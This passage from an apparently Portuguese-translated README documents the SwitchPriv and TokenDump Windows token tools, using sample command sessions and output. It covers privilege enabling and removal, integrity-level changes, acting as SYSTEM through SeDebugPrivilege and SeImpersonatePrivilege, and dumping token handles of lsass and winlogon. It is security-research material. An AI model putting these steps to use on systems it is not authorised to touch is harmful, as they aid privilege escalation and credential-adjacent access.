Privilege Name State ============================= ========================== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Disabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled
[] Integrity Level : Medium Mandatory Level [] Done.
PS C:\Dev> .\SwitchPriv.exe -p 9408 -r inc
[>] Trying to remove a token privilege. [] Target PID : 9408 [] Process Name : Notepad [+] SeIncreaseWorkingSetPrivilege is removed successfully. [*] Done.
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g
[>] Trying to get available token privilege(s) for the target process. [] Target PID : 9408 [] Process Name : Notepad [+] Got 4 token privilege(s).
Privilege Name State ======================= ========================== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Disabled SeUndockPrivilege Enabled SeTimeZonePrivilege Disabled
[] Integrity Level : Medium Mandatory Level [] Done.
Se você quiser testar um privilégio específico, você pode remover todos os privilégios exceto o que você deseja testar com a opção `-f` da seguinte forma:```
PS C:\Dev> .\SwitchPriv.exe -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 4392
[*] Process Name : powershell
[+] Got 5 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeShutdownPrivilege Enabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeUndockPrivilege Enabled
SeIncreaseWorkingSetPrivilege Enabled
SeTimeZonePrivilege Enabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
PS C:\Dev> .\SwitchPriv.exe -f tim
[>] Trying to remove all token privileges except one.
[*] Target PID : 4392
[*] Process Name : powershell
[>] Trying to remove all privileges except for SeTimeZonePrivilege.
[+] SeShutdownPrivilege is removed successfully.
[+] SeChangeNotifyPrivilege is removed successfully.
[+] SeUndockPrivilege is removed successfully.
[+] SeIncreaseWorkingSetPrivilege is removed successfully.
[*] Done.
PS C:\Dev> .\SwitchPriv.exe -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 4392
[*] Process Name : powershell
[+] Got 1 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
=================== =======
SeTimeZonePrivilege Enabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
Você pode usar valores separados por vírgula para filtrar múltiplos privilégios da seguinte forma:``` PS C:\Dev> .\SwitchPriv.exe -p 24300 -g
[>] Trying to get available token privilege(s) for the target process. [] Target PID : 24300 [] Process Name : powershell [+] Got 24 token privilege(s).
Privilege Name State ========================================= ========================= SeIncreaseQuotaPrivilege Disabled SeSecurityPrivilege Disabled SeTakeOwnershipPrivilege Disabled SeLoadDriverPrivilege Disabled SeSystemProfilePrivilege Disabled SeSystemtimePrivilege Disabled SeProfileSingleProcessPrivilege Disabled SeIncreaseBasePriorityPrivilege Disabled SeCreatePagefilePrivilege Disabled SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeShutdownPrivilege Disabled SeDebugPrivilege Enabled SeSystemEnvironmentPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeRemoteShutdownPrivilege Disabled SeUndockPrivilege Disabled SeManageVolumePrivilege Disabled SeImpersonatePrivilege EnabledByDefault, Enabled SeCreateGlobalPrivilege EnabledByDefault, Enabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled SeCreateSymbolicLinkPrivilege Disabled SeDelegateSessionUserImpersonatePrivilege Disabled
[] Integrity Level : High Mandatory Level [] Done.
PS C:\Dev> .\SwitchPriv.exe -p 24300 -f rest,back,deb
[>] Trying to remove all token privileges except one. [] Target PID : 24300 [] Process Name : powershell [>] Trying to remove privileges other than follows. [] SeBackupPrivilege [] SeRestorePrivilege [] SeDebugPrivilege [+] SeIncreaseQuotaPrivilege is removed successfully. [+] SeSecurityPrivilege is removed successfully. [+] SeTakeOwnershipPrivilege is removed successfully. [+] SeLoadDriverPrivilege is removed successfully. [+] SeSystemProfilePrivilege is removed successfully. [+] SeSystemtimePrivilege is removed successfully. [+] SeProfileSingleProcessPrivilege is removed successfully. [+] SeIncreaseBasePriorityPrivilege is removed successfully. [+] SeCreatePagefilePrivilege is removed successfully. [+] SeShutdownPrivilege is removed successfully. [+] SeSystemEnvironmentPrivilege is removed successfully. [+] SeChangeNotifyPrivilege is removed successfully. [+] SeRemoteShutdownPrivilege is removed successfully. [+] SeUndockPrivilege is removed successfully. [+] SeManageVolumePrivilege is removed successfully. [+] SeImpersonatePrivilege is removed successfully. [+] SeCreateGlobalPrivilege is removed successfully. [+] SeIncreaseWorkingSetPrivilege is removed successfully. [+] SeTimeZonePrivilege is removed successfully. [+] SeCreateSymbolicLinkPrivilege is removed successfully. [+] SeDelegateSessionUserImpersonatePrivilege is removed successfully. [] Done.
PS C:\Dev> .\SwitchPriv.exe -p 24300 -g
[>] Trying to get available token privilege(s) for the target process. [] Target PID : 24300 [] Process Name : powershell [+] Got 3 token privilege(s).
Privilege Name State ========================= ======== SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeDebugPrivilege Enabled
[] Integrity Level : High Mandatory Level [] Done.
Para ativar, desativar ou remover todos os privilégios de token disponíveis, especifique `all` como valor para a opção `--enable`, `--disable` ou `--remove`:```
PS C:\Dev> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
PS C:\Dev> .\SwitchPriv.exe -e all
[>] Trying to enable all token privileges.
[*] Target PID : 6772
[*] Process Name : powershell
[+] SeShutdownPrivilege is enabled successfully.
[+] SeUndockPrivilege is enabled successfully.
[+] SeIncreaseWorkingSetPrivilege is enabled successfully.
[+] SeTimeZonePrivilege is enabled successfully.
[*] Done.
PS C:\Dev> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== =======
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
Para encontrar um processo que tenha um privilégio específico, use a opção -s da seguinte forma:```
PS C:\Dev> .\SwitchPriv.exe -s createt
[>] Searching processes have SeCreateTokenPrivilege. [+] Got 5 process(es). [] Memory Compression (PID : 2548) [] smss (PID : 372) [] lsass (PID : 736) [] csrss (PID : 584) [] csrss (PID : 504) [] Access is denied by following 2 process(es). [] System (PID : 4) [] Idle (PID : 0) [*] Done.
PS C:\Dev> .\SwitchPriv.exe -g -p 2548
[>] Trying to get available token privilege(s) for the target process. [] Target PID : 2548 [] Process Name : Memory Compression [+] Got 31 token privilege(s).
Privilege Name State ========================================= ========================= SeCreateTokenPrivilege Disabled SeAssignPrimaryTokenPrivilege Disabled SeLockMemoryPrivilege EnabledByDefault, Enabled SeIncreaseQuotaPrivilege Disabled SeTcbPrivilege EnabledByDefault, Enabled SeSecurityPrivilege Disabled SeTakeOwnershipPrivilege Disabled SeLoadDriverPrivilege Disabled SeSystemProfilePrivilege EnabledByDefault, Enabled SeSystemtimePrivilege Disabled SeProfileSingleProcessPrivilege EnabledByDefault, Enabled SeIncreaseBasePriorityPrivilege EnabledByDefault, Enabled SeCreatePagefilePrivilege EnabledByDefault, Enabled SeCreatePermanentPrivilege EnabledByDefault, Enabled SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeShutdownPrivilege Disabled SeDebugPrivilege EnabledByDefault, Enabled SeAuditPrivilege EnabledByDefault, Enabled SeSystemEnvironmentPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeUndockPrivilege Disabled SeManageVolumePrivilege Disabled SeImpersonatePrivilege EnabledByDefault, Enabled SeCreateGlobalPrivilege EnabledByDefault, Enabled SeTrustedCredManAccessPrivilege Disabled SeRelabelPrivilege Disabled SeIncreaseWorkingSetPrivilege EnabledByDefault, Enabled SeTimeZonePrivilege EnabledByDefault, Enabled SeCreateSymbolicLinkPrivilege EnabledByDefault, Enabled SeDelegateSessionUserImpersonatePrivilege EnabledByDefault, Enabled
[] Integrity Level : System Mandatory Level [] Done.
Se você quiser definir o nível de integridade, use a opção `--integrity` da seguinte forma:```
PS C:\Dev> whoami /groups | findstr /i level
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PS C:\Dev> .\SwitchPriv.exe -i 1
[>] Trying to update Integrity Level.
[*] Target PID : 3436
[*] Process Name : powershell
[>] Trying to update Integrity Level to LOW_MANDATORY_LEVEL.
[+] Integrity Level is updated successfully.
[*] Done.
PS C:\Dev> whoami /groups | findstr /i level
Mandatory Label\Low Mandatory Level Label S-1-16-4096
Para realizar qualquer ação como SYSTEM, defina o sinalizador -S da seguinte forma (SeDebugPrivilege e SeImpersonatePrivilege são necessários):```
PS C:\Dev> .\SwitchPriv.exe -g -p 2548 -S
[>] Trying to get available token privilege(s) for the target process. [] Target PID : 2548 [] Process Name : Memory Compression [>] Trying to get SYSTEM. [+] Got SYSTEM privilege. [+] Got 31 token privilege(s).
Privilege Name State ========================================= ========================= SeCreateTokenPrivilege Disabled SeAssignPrimaryTokenPrivilege Disabled SeLockMemoryPrivilege EnabledByDefault, Enabled SeIncreaseQuotaPrivilege Disabled SeTcbPrivilege EnabledByDefault, Enabled SeSecurityPrivilege Disabled SeTakeOwnershipPrivilege Disabled SeLoadDriverPrivilege Disabled SeSystemProfilePrivilege EnabledByDefault, Enabled SeSystemtimePrivilege Disabled SeProfileSingleProcessPrivilege EnabledByDefault, Enabled SeIncreaseBasePriorityPrivilege EnabledByDefault, Enabled SeCreatePagefilePrivilege EnabledByDefault, Enabled SeCreatePermanentPrivilege EnabledByDefault, Enabled SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeShutdownPrivilege Disabled SeDebugPrivilege EnabledByDefault, Enabled SeAuditPrivilege EnabledByDefault, Enabled SeSystemEnvironmentPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeUndockPrivilege Disabled SeManageVolumePrivilege Disabled SeImpersonatePrivilege EnabledByDefault, Enabled SeCreateGlobalPrivilege EnabledByDefault, Enabled SeTrustedCredManAccessPrivilege Disabled SeRelabelPrivilege Disabled SeIncreaseWorkingSetPrivilege EnabledByDefault, Enabled SeTimeZonePrivilege EnabledByDefault, Enabled SeCreateSymbolicLinkPrivilege EnabledByDefault, Enabled SeDelegateSessionUserImpersonatePrivilege EnabledByDefault, Enabled
[] Integrity Level : System Mandatory Level [] Done.
## TokenDump
[Back to Top](#privfu)
[Project](https://github.com/daem0nc0re/privfu/blob/main/TokenDump)
Esta ferramenta é um utilitário para inspecionar informações de token:```
C:\Dev>.\TokenDump.exe -h
TokenDump - Tool to dump processs token information.
Usage: TokenDump.exe [Options]
-h, --help : Displays this help message.
-d, --debug : Flag to enable SeDebugPrivilege.
-e, --enum : Flag to enumerate brief information tokens for processes or handles.
-T, --thread : Flag to scan thead tokens. Use with -e option.
-H, --handle : Flag to scan token handles. Use with -e option.
-s, --scan : Flag to get verbose information for a specific process, thread or handle.
-a, --account : Specifies account name filter string. Use with -e flag.
-p, --pid : Specifies a target PID in decimal format. Use with -s flag, or -e and -H flag.
-t, --tid : Specifies a target TID in decimal format. Use with -s flag and -p option.
-v, --value : Specifies a token handle value in hex format. Use with -s flag and -p option.
Para enumerar token para todos os processos, basta definir a flag -e:```
C:\Dev>.\TokenDump.exe -e
[>] Trying to enumerate process token.
PID Session Process Name Token User Integrity Restricted AppContainer ==== ======= =========================== ============================ ========= ========== ============ 5004 0 svchost.exe NT AUTHORITY\SYSTEM System False False 3728 0 conhost.exe NT AUTHORITY\SYSTEM System False False
--snip--
6712 0 svchost.exe NT AUTHORITY\LOCAL SERVICE System False False 1972 0 svchost.exe NT AUTHORITY\SYSTEM System False False
[+] Got 129 token information. [] Found 7 account(s). [] NT AUTHORITY\SYSTEM [] dev22h2\user [] NT AUTHORITY\LOCAL SERVICE [] NT AUTHORITY\NETWORK SERVICE [] Font Driver Host\UMFD-0 [] Font Driver Host\UMFD-1 [] Window Manager\DWM-1 [*] Done.
Se você quiser ativar o SeDebugPrivilege, defina a flag `-d` da seguinte forma:```
C:\Dev>.\TokenDump.exe -e -d
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate process token.
PID Session Process Name Token User Integrity Restricted AppContainer
==== ======= =========================== ============================ ========= ========== ============
5004 0 svchost.exe NT AUTHORITY\SYSTEM System False False
3728 0 conhost.exe NT AUTHORITY\SYSTEM System False False
3740 0 vm3dservice.exe NT AUTHORITY\SYSTEM System False False
--snip--
Quando o sinalizador -H é definido com o sinalizador -e, o TokenDump tenta enumerar informações de handles de Token:```
C:\Dev>.\TokenDump.exe -e -H -d
[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate token handles.
[Token Handle(s) - winlogon.exe (PID: 704)]
Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level ====== ======= =================== ========= ========== ============ ============= =================== 0x2B0 1 NT AUTHORITY\SYSTEM System False False Primary Anonymous 0x2B4 1 NT AUTHORITY\SYSTEM System False False Primary Anonymous 0x38C 1 dev22h2\user Medium False False Primary Impersonation
--snip--
[Token Handle(s) - svchost.exe (PID: 3272)]
Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level ====== ======= ========================== ========= ========== ============ ========== =================== 0x168 0 NT AUTHORITY\LOCAL SERVICE System False False Primary Anonymous
[+] Got 819 handle(s). [] Found 8 account(s). [] NT AUTHORITY\SYSTEM [] dev22h2\user [] Font Driver Host\UMFD-1 [] Font Driver Host\UMFD-0 [] NT AUTHORITY\NETWORK SERVICE [] Window Manager\DWM-1 [] NT AUTHORITY\LOCAL SERVICE [] NT AUTHORITY\ANONYMOUS LOGON [] Done.
Quando especificado o PID com a opção `-p`, o TokenDup enumera apenas os handles do processo especificado:```
C:\Dev>.\TokenDump.exe -e -H -d -p 704
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.
[Token Handle(s) - winlogon.exe (PID: 704)]
Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level
====== ======= =================== ========= ========== ============ ============= ===================
0x2B0 1 NT AUTHORITY\SYSTEM System False False Primary Anonymous
0x2B4 1 NT AUTHORITY\SYSTEM System False False Primary Anonymous
0x38C 1 dev22h2\user Medium False False Primary Impersonation
0x398 1 dev22h2\user High False False Primary Identification
0x3C4 1 dev22h2\user Medium False False Impersonation Impersonation
0x3C8 1 dev22h2\user Medium False False Impersonation Impersonation
0x3D0 1 dev22h2\user Medium False False Impersonation Impersonation
0x3D4 1 dev22h2\user Medium False False Impersonation Impersonation
[+] Got 8 handle(s).
[*] Found 2 account(s).
[*] NT AUTHORITY\SYSTEM
[*] dev22h2\user
[*] Done.
Para enumerar o token de thread personificado, defina o sinalizador -T bem como o sinalizador -e da seguinte forma:```
C:\Dev>.\TokenDump.exe -e -T -d
[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate impersonated threads.
PID TID Session Process Name Token User Integrity Impersonation Level ==== ==== ======= ============ =================== ========= =================== 1952 2000 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 1952 2300 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4348 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4656 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation
[+] Got 4 thread(s). [] Found 1 account(s). [] NT AUTHORITY\SYSTEM [*] Done.
Se você quiser filtrar estes resultados pelo nome de usuário do token, defina a string de filtro como o valor da opção `-a` da seguinte forma:```
C:\Dev>.\TokenDump.exe -e -a network -d
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate process token.
PID Session Process Name Token User Integrity Restricted AppContainer
==== ======= ============ ============================ ========= ========== ============
1932 0 svchost.exe NT AUTHORITY\NETWORK SERVICE System False False
3500 0 svchost.exe NT AUTHORITY\NETWORK SERVICE System False False
2904 0 svchost.exe NT AUTHORITY\NETWORK SERVICE System False False
2504 0 svchost.exe NT AUTHORITY\NETWORK SERVICE System False False
7012 0 msdtc.exe NT AUTHORITY\NETWORK SERVICE System False False
7092 0 sppsvc.exe NT AUTHORITY\NETWORK SERVICE System False False
1676 0 svchost.exe NT AUTHORITY\NETWORK SERVICE System False False
3584 0 WmiPrvSE.exe NT AUTHORITY\NETWORK SERVICE System False False
1000 0 svchost.exe NT AUTHORITY\NETWORK SERVICE System False False
[+] Got 9 token information.
[*] Found 7 account(s).
[*] NT AUTHORITY\SYSTEM
[*] dev22h2\user
[*] NT AUTHORITY\LOCAL SERVICE
[*] NT AUTHORITY\NETWORK SERVICE
[*] Font Driver Host\UMFD-0
[*] Font Driver Host\UMFD-1
[*] Window Manager\DWM-1
[*] Done.
C:\Dev>.\TokenDump.exe -e -a network -d -H
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.
[Token Handle(s) - lsass.exe (PID: 768)]
Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level
====== ======= ============================ ========= ========== ============ ============= ===================
0x914 0 NT AUTHORITY\NETWORK SERVICE System False False Impersonation Impersonation
--snip--
[Token Handle(s) - msdtc.exe (PID: 7012)]
Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level
====== ======= ============================ ========= ========== ============ ========== ===================
0x23C 0 NT AUTHORITY\NETWORK SERVICE System False False Primary Anonymous
[+] Got 27 handle(s).
[*] Found 8 account(s).
[*] NT AUTHORITY\SYSTEM
[*] dev22h2\user
[*] Font Driver Host\UMFD-1
[*] Font Driver Host\UMFD-0
[*] NT AUTHORITY\NETWORK SERVICE
[*] Window Manager\DWM-1
[*] NT AUTHORITY\LOCAL SERVICE
[*] NT AUTHORITY\ANONYMOUS LOGON
[*] Done.
Para obter informações detalhadas sobre um processo específico, defina a flag -s e o PID alvo como valor da opção -p:```
C:\Dev>.\TokenDump.exe -s -p 5996
[>] Trying to dump process token information.
[Token Information for StartMenuExperienceHost.exe (PID: 5996)]
ImageFilePath : C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe CommandLine : "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca Token User : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Token Owner : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Primary Group : dev22h2\None (SID: S-1-5-21-3896868301-3921591151-1374190648-513) Token Type : Primary Impersonation Level : Anonymous Token ID : 0x0000000000063D9A Authentication ID : 0x000000000001DFE5 Original ID : 0x00000000000003E7 Modified ID : 0x0000000000063D24 Integrity Level : Low Protection Level : N/A Session ID : 1 Elevation Type : Limited Mandatory Policy : NoWriteUp Elevated : False AppContainer : True TokenFlags : VirtualizeAllowed, IsFiltered, LowBox AppContainer Name : microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy AppContainer SID : S-1-15-2-515815643-2845804217-1874292103-218650560-777617685-4287762684-137415000 AppContainer Number : 2 Has Linked Token : True Token Source : User32 Token Source ID : 0x000000000001DE9D
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege Disabled
GROUP INFORMATION
-----------------
Group Name Attributes
============================================================= =============================================
dev22h2\None Mandatory, EnabledByDefault, Enabled
Everyone Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account and member of Administrators group UseForDenyOnly
BUILTIN\Administrators UseForDenyOnly
BUILTIN\Users Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\INTERACTIVE Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\LogonSessionId_0_122425 Mandatory, EnabledByDefault, Enabled, LogonId
LOCAL Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\NTLM Authentication Mandatory, EnabledByDefault, Enabled
Mandatory Label\Low Mandatory Level Integrity, IntegrityEnabled
APPCONTAINER CAPABILITIES
-------------------------
Capability Name Flags
========================================================================== =======
APPLICATION PACKAGE AUTHORITY\Your Internet connection Enabled
APPLICATION PACKAGE AUTHORITY\Your home or work networks Enabled
NAMED CAPABILITIES\PackageQuery Enabled
NAMED CAPABILITIES\ActivitySystem Enabled
NAMED CAPABILITIES\PreviewStore Enabled
NAMED CAPABILITIES\CortanaPermissions Enabled
NAMED CAPABILITIES\AppointmentsSystem Enabled
NAMED CAPABILITIES\TeamEditionExperience Enabled
NAMED CAPABILITIES\ShellExperience Enabled
NAMED CAPABILITIES\PackageContents Enabled
NAMED CAPABILITIES\VisualElementsSystem Enabled
NAMED CAPABILITIES\UserAccountInformation Enabled
NAMED CAPABILITIES\ActivityData Enabled
NAMED CAPABILITIES\CloudStore Enabled
NAMED CAPABILITIES\TargetedContent Enabled
NAMED CAPABILITIES\StoreAppInstall Enabled
NAMED CAPABILITIES\StoreLicenseManagement Enabled
NAMED CAPABILITIES\CortanaSettings Enabled
NAMED CAPABILITIES\DependencyTarget Enabled
NAMED CAPABILITIES\SearchSettings Enabled
NAMED CAPABILITIES\CellularData Enabled
NAMED CAPABILITIES\WifiData Enabled
PACKAGE CAPABILITY\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy Enabled
NAMED CAPABILITIES\AccessoryManager Enabled
NAMED CAPABILITIES\UserAccountInformation Enabled
DACL INFORMATION
----------------
Account Name Access Flags Type
======================================================= =========================== ===== =============
dev22h2\user GenericAll None AccessAllowed
NT AUTHORITY\SYSTEM GenericAll None AccessAllowed
NT AUTHORITY\LogonSessionId_0_122425 GenericExecute, GenericRead None AccessAllowed
microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy GenericAll None AccessAllowed
SECURITY ATTRIBUTES INFORMATION
-------------------------------
[*] WIN://SYSAPPID
Flags : None
Type : String
Value[0x00] : Microsoft.Windows.StartMenuExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy
Value[0x01] : App
Value[0x02] : Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
[*] WIN://PKG
Flags : None
Type : UInt64
Value[0x00] : 0x0000000200000001
[*] WIN://PKGHOSTID
Flags : None
Type : UInt64
Value[0x00] : 0x1000000000000001
[*] TSA://ProcUnique
Flags : NonInheritable, Unique
Type : UInt64
Value[0x00] : 0x0000000000000041
Value[0x01] : 0x0000000000063D9B
[Linked Token Information for StartMenuExperienceHost.exe (PID: 5996)]
Token User : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Token Owner : BUILTIN\Administrators (SID: S-1-5-32-544) Primary Group : dev22h2\None (SID: S-1-5-21-3896868301-3921591151-1374190648-513) Token Type : Impersonation Impersonation Level : Identification Token ID : 0x000000000016ECE6 Authentication ID : 0x000000000001DF83 Original ID : 0x00000000000003E7 Modified ID : 0x000000000001DFE4 Integrity Level : High Protection Level : N/A Session ID : 1 Elevation Type : Full Mandatory Policy : NoWriteUp, NewProcessMin Elevated : True AppContainer : False TokenFlags : NotLow Token Source : User32 Token Source ID : 0x000000000001DE9D
PRIVILEGES INFORMATION
----------------------
Privilege Name State
========================================= =========================
SeIncreaseQuotaPrivilege Disabled
SeSecurityPrivilege Disabled
SeTakeOwnershipPrivilege Disabled
SeLoadDriverPrivilege Disabled
SeSystemProfilePrivilege Disabled
SeSystemtimePrivilege Disabled
SeProfileSingleProcessPrivilege Disabled
SeIncreaseBasePriorityPrivilege Disabled
SeCreatePagefilePrivilege Disabled
SeBackupPrivilege Disabled
SeRestorePrivilege Disabled
SeShutdownPrivilege Disabled
SeDebugPrivilege Disabled
SeSystemEnvironmentPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeRemoteShutdownPrivilege Disabled
SeUndockPrivilege Disabled
SeManageVolumePrivilege Disabled
SeImpersonatePrivilege EnabledByDefault, Enabled
SeCreateGlobalPrivilege EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
SeCreateSymbolicLinkPrivilege Disabled
SeDelegateSessionUserImpersonatePrivilege Disabled
GROUP INFORMATION
-----------------
Group Name Attributes
============================================================= =============================================
dev22h2\None Mandatory, EnabledByDefault, Enabled
Everyone Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account and member of Administrators group Mandatory, EnabledByDefault, Enabled
BUILTIN\Administrators Mandatory, EnabledByDefault, Enabled, Owner
BUILTIN\Users Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\INTERACTIVE Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\LogonSessionId_0_122425 Mandatory, EnabledByDefault, Enabled, LogonId
LOCAL Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\NTLM Authentication Mandatory, EnabledByDefault, Enabled
Mandatory Label\High Mandatory Level Integrity, IntegrityEnabled
DACL INFORMATION
----------------
Account Name Access Flags Type
==================================== =========================== ===== =============
BUILTIN\Administrators GenericAll None AccessAllowed
NT AUTHORITY\SYSTEM GenericAll None AccessAllowed
NT AUTHORITY\LogonSessionId_0_122425 GenericExecute, GenericRead None AccessAllowed
SECURITY ATTRIBUTES INFORMATION
-------------------------------
[*] WIN://SYSAPPID
Flags : None
Type : String
Value[0x00] : Microsoft.Windows.StartMenuExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy
Value[0x01] : App
Value[0x02] : Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
[*] WIN://PKG
Flags : None
Type : UInt64
Value[0x00] : 0x0000000200000001
[*] WIN://PKGHOSTID
Flags : None
Type : UInt64
Value[0x00] : 0x1000000000000001
[*] TSA://ProcUnique
Flags : NonInheritable, Unique
Type : UInt64
Value[0x00] : 0x0000000000000041
Value[0x01] : 0x0000000000063D9B
[*] Done.
Se você definir o valor do handle em um processo específico como opção `-v` e o PID como opção `-p`, além da flag `-s`, esta ferramenta obtém informações detalhadas sobre o handle da seguinte forma:```
C:\Dev>.\TokenDump.exe -s -p 7012 -v 0x23C -d
[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to dump token handle information.
[Token Information for Handle 0x23C of msdtc.exe (PID: 7012)]
Token User : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Token Owner : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Primary Group : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Token Type : Primary
Impersonation Level : Anonymous
Token ID : 0x000000000007DF17
Authentication ID : 0x00000000000003E4
Original ID : 0x00000000000003E7
Modified ID : 0x000000000007DEE2
Integrity Level : System
Protection Level : N/A
Session ID : 0
Elevation Type : Default
Mandatory Policy : NoWriteUp, NewProcessMin
Elevated : False
AppContainer : False
TokenFlags : IsFiltered, NotLow
Has Linked Token : False
Token Source : N/A
Token Source ID : N/A
PRIVILEGES INFORMATION
----------------------
Privilege Name State
======================= =========================
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeCreateGlobalPrivilege EnabledByDefault, Enabled
GROUP INFORMATION
-----------------
Group Name Attributes
====================================== ====================================================
Mandatory Label\System Mandatory Level Integrity, IntegrityEnabled
Everyone Mandatory, EnabledByDefault, Enabled
BUILTIN\Users Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\SERVICE Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization Mandatory, EnabledByDefault, Enabled
NT SERVICE\MSDTC EnabledByDefault, Enabled, Owner
NT AUTHORITY\LogonSessionId_0_515780 Mandatory, EnabledByDefault, Enabled, Owner, LogonId
LOCAL Mandatory, EnabledByDefault, Enabled
DACL INFORMATION
----------------
Account Name Access Flags Type
=================== =========== ===== =============
NT AUTHORITY\SYSTEM GenericAll None AccessAllowed
OWNER RIGHTS ReadControl None AccessAllowed
NT SERVICE\MSDTC GenericAll None AccessAllowed
SECURITY ATTRIBUTES INFORMATION
-------------------------------
[*] TSA://ProcUnique
Flags : NonInheritable, Unique
Type : UInt64
Value[0x00] : 0x0000000000000070
Value[0x01] : 0x000000000007DF18
[*] Done.
Para investigar o token de impersonação aplicado ao thread, defina o ID do thread como a opção -t da seguinte forma:```
C:\Dev>.\TokenDump.exe -e -T -d
[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate impersonated threads.
